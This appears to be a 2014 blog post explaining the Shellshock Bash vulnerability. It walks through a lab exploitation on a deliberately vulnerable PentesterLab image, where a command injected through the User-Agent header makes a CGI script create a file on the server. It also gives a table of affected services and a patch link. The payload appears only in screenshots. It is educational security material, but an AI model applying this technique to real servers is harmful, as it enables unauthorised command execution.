<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJm68f_4LYuqo5t7S7J4HoPr8pbBv6eQOizCuGbkV3901urn2KxBesYVgirNMB3upb3lErLfwgqlQRValxXYRPd0HPCjcAgV2BVzAB6qbbt4FuyufPJlWXi_mFoDlF2rWXT4Er8s4Z-qA/s1600/url.png" imageanchor="1" style="clear: left; color: #888888; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJm68f_4LYuqo5t7S7J4HoPr8pbBv6eQOizCuGbkV3901urn2KxBesYVgirNMB3upb3lErLfwgqlQRValxXYRPd0HPCjcAgV2BVzAB6qbbt4FuyufPJlWXi_mFoDlF2rWXT4Er8s4Z-qA/s1600/url.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="200" /></a></div>
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">A new security vulnerability known as the Bash or Shellshock bug could spell disaster for major digital companies, small-scale Web hosts and even Internet-connected devices.<br /><br />The quarter-century-old security flaw allows malicious code execution within the bash shell (commonly accessed through Command Prompt on PC or Mac's Terminal application) to take over an operating system and access confidential information.<br /><br />A post from open-source software company Red Hat warned that "it is common for a lot of programs to run Bash shell in the background," and the bug is "triggered" when extra code is added within the lines of Bash code.</span></span></div>
<a href="" name="more"></a><span style="font-size: x-small;"><span style="font-family: Verdana, sans-serif;"><br /></span></span><span style="font-size: x-small;"><span style="font-family: Verdana, sans-serif;">Security expert Robert Graham has warned that the Bash bug is bigger than Heartbleed because "the bug interacts with other software in unexpected ways" and because an "enormous percentage" of software interacts with the shell.</span></span><br /><span style="font-size: x-small;"><span style="font-family: Verdana, sans-serif;"></span></span><br /><span style="font-size: x-small;"><span style="font-family: Verdana, sans-serif;">"We'll never be able to catalogue all the software out there that is vulnerable to the Bash bug," Graham said. "While the known systems (like your Web server) are patched, unknown systems remain unpatched. We see that with the Heartbleed bug: six months later, hundreds of thousands of systems remain vulnerable."</span></span><br /><div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><b>Practical Demonstration</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">For practical demonstration I am using vulnerable ISO file which is purposly made vulnerable in order to test this. you can download it from <a href="http://www.pentesterlab.com/" style="color: #888888; text-decoration: none;">www.pentesterlab.com</a></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">Step 1: Run ISO in vamware.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">Step 2 : you will be landed on /home/pentesterlab page as shown in below screenshot.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">Step 3: Now to run a vulnerable application we need an IP of this server. One can find that by giving <b>ifconfig</b>command here as shown in below pic.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_ZA4lilwZkkAbGBv4XFhuhDEh1by4OoQVZ7NRxfr4Hz_mYPuolojA1JbMJQjXQRFtgOzaVy_tBU_TFTUTHSi-XMFzUpGh8UKZPyjeiin0ZIjEIbCDeNQjx2hwEnckTahwubswZ7-zCJI/s1600/1.png" style="color: #33aaff; margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_ZA4lilwZkkAbGBv4XFhuhDEh1by4OoQVZ7NRxfr4Hz_mYPuolojA1JbMJQjXQRFtgOzaVy_tBU_TFTUTHSi-XMFzUpGh8UKZPyjeiin0ZIjEIbCDeNQjx2hwEnckTahwubswZ7-zCJI/s1600/1.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">Step 4: Observe in the screenshot that I am not only accessing web application in the web browser from outside Vmware(my windows 8 box) but also capturing request in burp suite.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilThh2vGxC52xJR7m5shkSeqxEbc_FOzSTR-EMEbjT8A2SyCUzSNUfsuAAdPEI2inLdyzBkU_HEhNtMbMn6jwKBRGGSnus14961SLIvud9e-rAHAw5wIlZ8LqDY_xHHPkdVRsfcnvu8Y4/s1600/2.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilThh2vGxC52xJR7m5shkSeqxEbc_FOzSTR-EMEbjT8A2SyCUzSNUfsuAAdPEI2inLdyzBkU_HEhNtMbMn6jwKBRGGSnus14961SLIvud9e-rAHAw5wIlZ8LqDY_xHHPkdVRsfcnvu8Y4/s1600/2.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><a href="http://3.bp.blogspot.com/-K3R7jQe7N18/VCRMi6uukcI/AAAAAAAADfw/Ypx3a1ifSeg/s1600/3.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><br /></a></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">Step 5: I am forwarding this request as this does not contain and cgi script. So next request it is capturing is as follows.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0laAjpk2qB8M6i-QGzuu7KQ0AZDA87umzIdqVWG0nAWIcM5xNygQ7d1pLwZCxnGoc2H5tKjwMOSzHHwonRKVfQwy5uZNSc0ZpcDliVxlPHkDJzo4Pu7xFpLUeyipJHN7qOpU_rAEJXnU/s1600/3+intercepting+request.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0laAjpk2qB8M6i-QGzuu7KQ0AZDA87umzIdqVWG0nAWIcM5xNygQ7d1pLwZCxnGoc2H5tKjwMOSzHHwonRKVfQwy5uZNSc0ZpcDliVxlPHkDJzo4Pu7xFpLUeyipJHN7qOpU_rAEJXnU/s1600/3+intercepting+request.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">Here is the vulnerable CGI script named status. Currently in that some system level code is written which just displays server uptime and other information.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br />Step 6: Now we will inject arbitrary code in user agent header. This command will create a file on web server in particular folder named pentesterlab. The content of the file will be text and it will be "This is bash BUG testing."</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2rjc07U0i_IUNK8cVIN_4qvg4l7D3Wme4a1iXQAcUAtZW082qvOYrQqVI9aWkCMJSMP9XWpwRySUNcbgtOxWNSdXeMX-UMt25w6DUMSqEhSWAfBoJOlBbWfYgjwZFgz8rSxywg592DKw/s1600/4.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2rjc07U0i_IUNK8cVIN_4qvg4l7D3Wme4a1iXQAcUAtZW082qvOYrQqVI9aWkCMJSMP9XWpwRySUNcbgtOxWNSdXeMX-UMt25w6DUMSqEhSWAfBoJOlBbWfYgjwZFgz8rSxywg592DKw/s1600/4.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">Result : Since web browser can not interpret the command execution on server side, this will only show the result which was coded in to status CGI file normal server uptime and other kernal related information.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuJZcn_qHfDiMJ0cFnkcdTLB1mJwCKgNZ8759uK7EQP02J8_XnRlMxjQzBPthl4bHZpGm0I3okQ8y_8zQFpEx1gJ6nYo-UvSegaeD2fltQQWJm8GslYdpcmfqwL0Vq8Il9iBWYxxhSG4/s1600/5.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuJZcn_qHfDiMJ0cFnkcdTLB1mJwCKgNZ8759uK7EQP02J8_XnRlMxjQzBPthl4bHZpGm0I3okQ8y_8zQFpEx1gJ6nYo-UvSegaeD2fltQQWJm8GslYdpcmfqwL0Vq8Il9iBWYxxhSG4/s1600/5.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">In order to verify our exploitation lets go to the server's pentesterlab directory. Observe in the below screenshot that file has created successfully on server.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlz2esb_ewsoYzHKarV5Y4bXsx52o775Naen0737UlHdF2QgZi3Gc6QFf4ORsTZNjsM6Saub6tZWdowSQtz9QkdJ4VLp85n5OT-Az8XrdD5BDskhrQb8aYJbZsldr2JBS5rYUFAatac1M/s1600/6.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlz2esb_ewsoYzHKarV5Y4bXsx52o775Naen0737UlHdF2QgZi3Gc6QFf4ORsTZNjsM6Saub6tZWdowSQtz9QkdJ4VLp85n5OT-Az8XrdD5BDskhrQb8aYJbZsldr2JBS5rYUFAatac1M/s1600/6.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">Not only that, but also the content of the file has been the exactly same as given at the client side.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;">Thus how this vulnerability affects bash. For the knowledge, I am using below version of bash as shown in below picture.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR9hOTVuAsARRgG-K5E1mttnkO9L95xVZvXvZbigUkGRgorgSklxEKPGW8zLaMFpIedxndvKTsafbRzvT5ipj6lvzG_sLrO8xPi4M8n1C_Yuf4ZZEBXhnPNYzRWCrjAId1Vzc5LadxEbo/s1600/7.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR9hOTVuAsARRgG-K5E1mttnkO9L95xVZvXvZbigUkGRgorgSklxEKPGW8zLaMFpIedxndvKTsafbRzvT5ipj6lvzG_sLrO8xPi4M8n1C_Yuf4ZZEBXhnPNYzRWCrjAId1Vzc5LadxEbo/s1600/7.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(238, 238, 238); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(238, 238, 238); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(238, 238, 238); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><a href="http://4.bp.blogspot.com/-NRDlyQL8RyM/VCRRZhbGwtI/AAAAAAAADgo/xv3Tu9apDBg/s1600/8.png" imageanchor="1" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><br /></a></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">This bug does not only affect http cgi scripts but also affects to all below </span>things.</span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><br /></span></div>
<table border="1" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td><span style="font-family: Verdana, sans-serif;">httpd</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">CGI scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.</span></td></tr>
<tr><td><span style="font-family: Verdana, sans-serif;">Secure Shell (SSH)</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">It is not uncommon to restrict remote commands that a user can run via SSH, such as rsync or git. In these instances, this issue can be used to execute any command, not just the restricted command.</span></td></tr>
<tr><td><span style="font-family: Verdana, sans-serif;">dhclient</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">The Dynamic Host Configuration Protocol Client (dhclient) is used to automatically obtain network configuration information via DHCP. This client uses various environment variables and runs Bash to configure the network interface. Connecting to a malicious DHCP server could allow an attacker to run arbitrary code on the client machine.</span></td></tr>
<tr><td><span style="font-family: Verdana, sans-serif;">CUPS</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">It is believed that CUPS is affected by this issue. Various user supplied values are stored in environment variables when cups filters are executed.</span></td></tr>
<tr><td><span style="font-family: Verdana, sans-serif;">sudo</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">Commands run via sudo are not affected by this issue. Sudo specifically looks for environment variables that are also functions. It could still be possible for the running command to set an environment variable that could cause a Bash child process to execute arbitrary code.</span></td></tr>
<tr><td><span style="font-family: Verdana, sans-serif;">Firefox</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">We do not believe Firefox can be forced to set an environment variable in a manner that would allow Bash to run arbitrary commands. It is still advisable to upgrade Bash as it is common to install various plug-ins and extensions that could allow this behavior.</span></td></tr>
<tr><td><span style="font-family: Verdana, sans-serif;">Postfix</span></td><td style="text-align: justify;"><span style="font-family: Verdana, sans-serif;">The Postfix server will replace various characters with a ?. While the Postfix server does call Bash in a variety of ways, we do not believe an arbitrary environment variable can be set by the server. It is however possible that a filter could set environment variables.</span></td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;">Solution : Patches are already availalbe on this below link:</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><a href="http://seclists.org/oss-sec/2014/q3/650" style="color: #888888; text-decoration: none;">http://seclists.org/oss-sec/2014/q3/650</a></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><b>References</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><a href="http://www.cnet.com/news/bigger-than-heartbleed-bash-bug-could-leave-it-systems-shellshocked/" style="color: #888888; text-decoration: none;"><span style="font-size: x-small;">1. http://www.cnet.com/news/bigger-than-heartbleed-bash-bug-could-leave-it-systems-shellshocked/</span></a></span></div>
<div style="text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"><a href="https://access.redhat.com/articles/1200223" style="color: #888888; text-decoration: none;">2. https://access.redhat.com/articles/1200223</a></span></span></div>
</div>
</div>
</div>

Bash-Bug Penetration Testing - Anatomy of Shellshock

Bash-Bug Penetration Testing - Anatomy of Shellshock A new security vulnerability known as the Bash or Shellshock bug could s...